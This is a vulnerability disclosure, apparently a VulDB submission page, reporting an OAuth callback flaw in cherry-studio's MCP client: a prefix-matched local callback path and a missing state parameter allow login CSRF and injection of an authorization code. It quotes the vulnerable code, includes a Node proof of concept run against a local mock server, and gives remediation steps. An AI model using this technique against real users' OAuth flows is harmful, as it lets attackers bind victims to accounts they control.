| Titel | CherryHQ cherry-studio 1.9.6 Authorization Bypass / Login CSRF |
|---|
| Beschreibung | ## Vulnerability Title
Authorization Bypass via Hash-Key Confusion in MCP OAuth Callback Binding
## Affected Component
`src/main/services/mcp/oauth/callback.ts` and `src/main/services/MCPService.ts`
Repository: https://github.com/CherryHQ/cherry-studio
## Summary
An attacker with the ability to trigger a loopback request in the victim's browser during a pending MCP OAuth flow can craft a conflicting OAuth callback that reuses the same callback key but carries a different authorization `code` and `state`. This causes callback-key confusion, which leads to OAuth callback injection and login CSRF, negatively impacting users connecting OAuth-protected MCP servers.
## Technical Details
The vulnerability occurs because the MCP OAuth callback flow treats the local callback path and port as sufficient callback identity. The security-relevant OAuth transaction fields, especially `state`, are not included in the accepted callback identity and are not validated before the authorization code is exchanged. This is application-level key confusion: two callbacks with the same local callback key but different OAuth transaction state are treated as equivalent.
**Where the Identity Key is Computed**
In `src/main/services/mcp/oauth/callback.ts`, the application-level key is the local callback route accepted by the callback server: callback port plus callback path, using a weak prefix match via `startsWith`:
```ts
initialize(port: number, path: string): Promise<http.Server> {
const server = http.createServer((req, res) => {
// Only handle requests to the callback path
if (req.url?.startsWith(path)) {
try {
const url = new URL(req.url, `http://127.0.0.1:${port}`)
const code = url.searchParams.get('code')
if (code) {
this.events.emit('auth-code-received', code)
```
**How the Key is Used**
In `src/main/services/MCPService.ts`, the first callback that emits `auth-code-received` captures execution flow and controls the token exchange via `finishAuth(authCode)`:
```ts
const authCode = await callbackServer.waitForAuthCode()
getServerLogger(server).debug(`Received auth code`)
// Complete the OAuth flow
await transport.finishAuth(authCode)
```
Because `McpOAuthClientProvider` does not implement a `state()` method, the underlying MCP SDK (`@modelcontextprotocol/sdk`) does not add a `state` parameter to the authorization URL, preventing any fallback binding checks.
Furthermore, the prefix check `req.url?.startsWith(path)` creates additional route confusion, meaning an entirely separate endpoint like `/oauth/callback.extra?code=MaliciousCode` can satisfy the matching criteria and inject credentials.
## Impact
This vulnerability allows attackers to:
- Inject a malicious OAuth authorization code into a victim's pending MCP OAuth flow.
- Execute Login CSRF, forcing the victim's local client to bind to an attacker-controlled MCP session or third-party service provider account.
- Potentially expose sensitive user prompts, local system files, tool execution contexts, or operational secrets if the resulting session is bound to an untrusted environment.
## Proof of Concept
The following script demonstrates the broken security invariant by modeling the prefix-matching acceptance rules and first-code-wins behavior of the callback infrastructure.
```js
#!/usr/bin/env node
const http = require('http')
const { EventEmitter } = require('events')
class TestCallbackServer {
constructor({ port, path, events }) {
this.events = events
this.serverPromise = this.initialize(port, path)
}
initialize(port, path) {
const server = http.createServer((req, res) => {
if (req.url?.startsWith(path)) {
const url = new URL(req.url, `http://127.0.0.1:${port}`)
const code = url.searchParams.get('code')
if (code) {
this.events.emit('auth-code-received', code)
res.writeHead(200, { 'Content-Type': 'text/plain' })
res.end('accepted')
return
}
}
res.writeHead(400, { 'Content-Type': 'text/plain' })
res.end('rejected')
})
return new Promise((resolve, reject) => {
server.listen(port, '127.0.0.1', () => resolve(server))
server.on('error', reject)
})
}
async address() { return (await this.serverPromise).address() }
async close() { (await this.serverPromise).close() }
async waitForAuthCode() {
return new Promise((resolve) => this.events.once('auth-code-received', resolve))
}
}
;(async () => {
const events = new EventEmitter()
const callbackServer = new TestCallbackServer({ port: 0, path: '/oauth/callback', events })
const { port } = await callbackServer.address()
const base = `http://127.0.0.1:${port}`
const fakeTransport = {
exchangedCode: undefined,
async finishAuth(code) { this.exchangedCode = code }
}
const handleAuthPromise = (async () => {
const authCode = await callbackServer.waitForAuthCode()
await fakeTransport.finishAuth(authCode)
return authCode
})()
// Attacker intercepts and hits the endpoint first with a distinct state/code
await fetch(`${base}/oauth/callback?code=MalloryCode&state=attacker_state`)
const chosenCode = await handleAuthPromise
await fetch(`${base}/oauth/callback?code=AliceCode&state=victim_state`)
console.log(JSON.stringify({
chosen_by_handleAuth: chosenCode,
finishAuth_received: fakeTransport.exchangedCode,
vulnerable: chosenCode === 'MalloryCode'
}, null, 2))
await callbackServer.close()
})()
```
*Observed execution output: `"vulnerable": true`, demonstrating that the unauthenticated attacker payload controls the authentication transaction.*
## Remediation
Bind the OAuth callback to the specific transaction lifecycle state and enforce strict path validation.
1. **Implement State Validation**: Generate a cryptographically secure random `state` value for each flow, pass it to the authorization endpoint, and strictly require the callback to return the identical string before accepting the code.
2. **Enforce Exact Path Matching**: Replace loose prefix checking with exact route parsing:
```ts
if (url.pathname !== path) {
res.writeHead(404, { 'Content-Type': 'text/plain' })
res.end('Not Found')
return;
}
```
3. **Session Binding**: Ensure that the listener session state maps explicitly to individual pending process parameters, rejecting unmapped or reused loopback incoming packets.
## References
- Vulnerable callback middleware logic: `https://github.com/CherryHQ/cherry-studio/blob/3ccf6d34cae5409a02a573533373441ec95f612c/src/main/services/mcp/oauth/callback.ts#L52-L63`
- Response capture handling: `https://github.com/CherryHQ/cherry-studio/blob/3ccf6d34cae5409a02a573533373441ec95f612c/src/main/services/MCPService.ts#L558-L582`
- Provider redirection properties: `https://github.com/CherryHQ/cherry-studio/blob/3ccf6d34cae5409a02a573533373441ec95f612c/src/main/services/mcp/oauth/provider.ts#L19-L38` |
|---|
| Quelle | ⚠️ https://github.com/CherryHQ/cherry-studio/issues/15372 |
|---|
| Benutzer | dem0000 (UID 98390) |
|---|
| Einreichung | 28.05.2026 05:48 (vor 1 Monat) |
|---|
| Moderieren | 28.06.2026 09:50 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 374532 [CherryHQ cherry-studio bis 1.9.6 MCP OAuth Local Callback Server callback.ts code erweiterte Rechte] |
|---|
| Punkte | 20 |
|---|